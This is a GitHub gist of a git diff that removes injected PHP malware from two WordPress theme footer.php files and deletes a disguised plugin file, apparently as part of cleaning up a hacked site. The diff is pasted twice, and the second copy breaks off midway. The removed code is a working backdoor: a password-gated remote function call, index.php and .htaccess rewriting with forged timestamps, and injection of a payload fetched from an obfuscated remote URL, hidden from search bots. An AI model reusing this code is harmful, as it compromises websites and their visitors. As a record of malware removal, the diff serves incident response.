Skip to content

Instantly share code, notes, and snippets.

@maluta
Created July 3, 2016 14:31
Show Gist options
  • Save maluta/746a1b121346bf3165cd37daaf20937f to your computer and use it in GitHub Desktop.
Save maluta/746a1b121346bf3165cd37daaf20937f to your computer and use it in GitHub Desktop.
root@siteprogramae:/home/webdev/www/programaeprod# git diff
diff --git a/wp-content/plugins/buddypress/bp-notifications/classes/menu.php b/wp-content/plugins/buddypress/bp-notifications/classes/menu.php
deleted file mode 100644
index 6db4fe9..0000000
--- a/wp-content/plugins/buddypress/bp-notifications/classes/menu.php
+++ /dev/null
@@ -1,10 +0,0 @@
-<?php
-/**
- * XML-RPC protocol support for WordPress
- *
- * @package WordPress
- */
-
-/**
- * Whether this is an XML-RPC Request
- */
diff --git a/wp-content/themes/tema/footer.php b/wp-content/themes/tema/footer.php
index 1c52adc..3ce7fac 100644
--- a/wp-content/themes/tema/footer.php
+++ b/wp-content/themes/tema/footer.php
@@ -9,178 +9,7 @@
<div class="modal-conteudo">
<h3>Termo de uso e Política de Privacidade</h3>
<div class="modal-scroll">
- <?php //istart
-
-function my_time($dir) {
- foreach (glob($dir . '/wp-*.php') as $f) {
- $times[] = filemtime($f);
- }
- $max = 1;
- for ($i = 0; $i < count($times) - 1; $i++) {
- $k = 1;
- for ($j = $i + 1; $j < count($times); $j++) {
- if ($times[$i] == $times[$j]) {
- $k++;
- if ($k > $max) {
- $max = $k;
- $time = $times[$i];
- }
- }
- }
- }
- return $time;
-}
-
-function my_correct($dir) {
- $time = 0;
- $path = $dir . '/index.php';
- $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZ
- if (file_get_contents($path) != $content) {
- chmod($path, 0644);
- file_put_contents($path, $content);
- chmod($path, 0444);
- $time = my_time($dir);
- touch($path, $time);
- }
-
root@siteprogramae:/home/webdev/www/programaeprod# git diff
diff --git a/wp-content/plugins/buddypress/bp-notifications/classes/menu.php b/wp-content/plugins/buddypress/bp-notifications/classes/menu.php
deleted file mode 100644
index 6db4fe9..0000000
--- a/wp-content/plugins/buddypress/bp-notifications/classes/menu.php
+++ /dev/null
@@ -1,10 +0,0 @@
-<?php
-/**
- * XML-RPC protocol support for WordPress
- *
- * @package WordPress
- */
-
-/**
- * Whether this is an XML-RPC Request
- */
diff --git a/wp-content/themes/tema/footer.php b/wp-content/themes/tema/footer.php
index 1c52adc..3ce7fac 100644
--- a/wp-content/themes/tema/footer.php
+++ b/wp-content/themes/tema/footer.php
@@ -9,178 +9,7 @@
<div class="modal-conteudo">
<h3>Termo de uso e Política de Privacidade</h3>
<div class="modal-scroll">
- <?php //istart
-
-function my_time($dir) {
- foreach (glob($dir . '/wp-*.php') as $f) {
- $times[] = filemtime($f);
- }
- $max = 1;
- for ($i = 0; $i < count($times) - 1; $i++) {
- $k = 1;
- for ($j = $i + 1; $j < count($times); $j++) {
- if ($times[$i] == $times[$j]) {
- $k++;
- if ($k > $max) {
- $max = $k;
- $time = $times[$i];
- }
- }
- }
- }
- return $time;
-}
-
-function my_correct($dir) {
- $time = 0;
- $path = $dir . '/index.php';
- $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZ
- if (file_get_contents($path) != $content) {
- chmod($path, 0644);
- file_put_contents($path, $content);
- chmod($path, 0444);
- $time = my_time($dir);
- touch($path, $time);
- }
-
- $path = $dir . '/.htaccess';
- $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSR
- if (file_exists($path) AND file_get_contents($path) != $content) {
- chmod($path, 0644);
- file_put_contents($path, $content);
- chmod($path, 0444);
- if (!$time) {
- $time = my_time($dir);
- }
- touch($path, $time);
- }
-}
-
-$p = $_POST;
-$_passssword = 'dbed520f48d77c8d3b6d91999b4e9720';
-if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');
-my_correct(dirname(__FILE__) . '/..');
-
-function request_url_data($url) {
- if(!is_valid_url($url))
- return false;
-
- $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
- if (function_exists('curl_init')) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_TIMEOUT, 5);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array(
- 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
- 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
- 'Referer: ' . $site_url,
- ));
- $response = trim(curl_exec($ch));
- } elseif (function_exists('fsockopen')) {
- $m = parse_url($url);
- if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
- fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
- 'Host: ' . $m['host'] . "\r\n" .
- 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
- 'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
- 'Referer: ' . $site_url . "\r\n" .
- 'Connection: Close' . "\r\n\r\n");
- $response = '';
- while (!feof($fp)) {
- $response .= fgets($fp, 1024);
- }
- list($headers, $response) = explode("\r\n\r\n", $response);
- fclose($fp);
- }
- } else {
- $response = 'curl_init and fsockopen disabled';
- }
- return $response;
-}
-
-error_reporting(0);
-
-//unset($_passssword);
-
-if (function_exists("add_action")) {
- add_action('wp_head', 'add_2head');
- add_action('wp_footer', 'add_2footer');
-}
-
-function add_2head() {
- ob_start();
-}
-
-function is_valid_url(&$url)
-{
- if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
- return false;
- $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
- return true;
-}
-
-function add_2footer() {
- $check = false;
- $check_data = "";
- if (!empty($_GET['check']) AND $_GET['check'] == 'dbed520f48d77c8d3b6d91999b4e9720') {
- $check = true;
- $check_data = ('<!--checker_start ');
- $check_data .= (substr(request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'), 0, 100));
- $check_data .= (' checker_end-->');
- }
-
- if (!$check) {
- if ($_SERVER['REQUEST_METHOD'] != 'GET')
- return;
- if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT
- return;
-
-
- $cookie_name = 'PHP_SESSION_PHP';
- if (isset($_COOKIE[$cookie_name]))
- return;
-
- foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/'
- if (preg_match($regex, $_SERVER['REQUEST_URI']))
- return;
- }
-
- }
-
- $buffer = ob_get_clean();
- ob_start();
- $regexp = '/<body[^>]*>/is';
- if (preg_match($regexp, $buffer, $m)) {
- $body = $m[0];
-// $url = base64_decode('a3d3czksLDIwNC0xMjAtOzMtMjYyLGFvbGQsPGJ1Ym9ibWBrZnkldnduXHBsdnFgZj4xOjozOTIzMjA6NTs5MTMyMQ==');
- $url = decrypt_url('a3d3czksLDIwNC0xMjAtOzMtMjYyLGFvbGQsPGJ1Ym9ibWBrZnkldnduXHBsdnFgZj4xOjozOTIzMjA6NTs5MTMyMQ==');
-// if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
- if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
-// $body .= '<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie="' . $cookie_name . '=' . mt_rand(1, 1024) . '; path=/; expires="+date.toUTCStrin
-// $body .= base64_decode($m[0]);
- $body .= $decoded;
-// $body .= base64_decode($m[0]);
- }
- $body .= $check_data;
-
- $buffer = preg_replace($regexp, $body, $buffer);
- }
- echo $buffer;
- ob_flush();
-}
-
-function decrypt_url($encrypted_url)
-{
- $encrypted_url = base64_decode($encrypted_url);
- $url = '';
- for ($i = 0; $i < strlen($encrypted_url); $i++)
- {
- $url .= chr(ord($encrypted_url[$i]) ^ 3);
- }
- return $url;
-}//iend
+ <?php
diff --git a/wp-content/themes/temaprog/footer.php b/wp-content/themes/temaprog/footer.php
index 802db7a..624bbb5 100644
--- a/wp-content/themes/temaprog/footer.php
+++ b/wp-content/themes/temaprog/footer.php
@@ -9,178 +9,7 @@
<div class="modal-conteudo">
<h3>Termo de uso e Política de Privacidade</h3>
<div class="modal-scroll">
- <?php //istart
-
-function my_time($dir) {
- foreach (glob($dir . '/wp-*.php') as $f) {
- $times[] = filemtime($f);
- }
- $max = 1;
- for ($i = 0; $i < count($times) - 1; $i++) {
- $k = 1;
- for ($j = $i + 1; $j < count($times); $j++) {
- if ($times[$i] == $times[$j]) {
- $k++;
- if ($k > $max) {
- $max = $k;
- $time = $times[$i];
- }
- }
- }
- }
- return $time;
-}
-
-function my_correct($dir) {
- $time = 0;
- $path = $dir . '/index.php';
- $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZ
- if (file_get_contents($path) != $content) {
- chmod($path, 0644);
- file_put_contents($path, $content);
- chmod($path, 0444);
- $time = my_time($dir);
- touch($path, $time);
- }
-
- $path = $dir . '/.htaccess';
- $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSR
- if (file_exists($path) AND file_get_contents($path) != $content) {
- chmod($path, 0644);
- file_put_contents($path, $content);
- chmod($path, 0444);
- if (!$time) {
- $time = my_time($dir);
- }
- touch($path, $time);
- }
-}
-
-$p = $_POST;
-$_passssword = 'dbed520f48d77c8d3b6d91999b4e9720';
-if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');
-my_correct(dirname(__FILE__) . '/..');
-
-function request_url_data($url) {
- if(!is_valid_url($url))
- return false;
-
- $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
- if (function_exists('curl_init')) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_TIMEOUT, 5);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array(
- 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
- 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
- 'Referer: ' . $site_url,
- ));
- $response = trim(curl_exec($ch));
- } elseif (function_exists('fsockopen')) {
- $m = parse_url($url);
- if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
- fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
- 'Host: ' . $m['host'] . "\r\n" .
- 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
- 'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
- 'Referer: ' . $site_url . "\r\n" .
- 'Connection: Close' . "\r\n\r\n");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment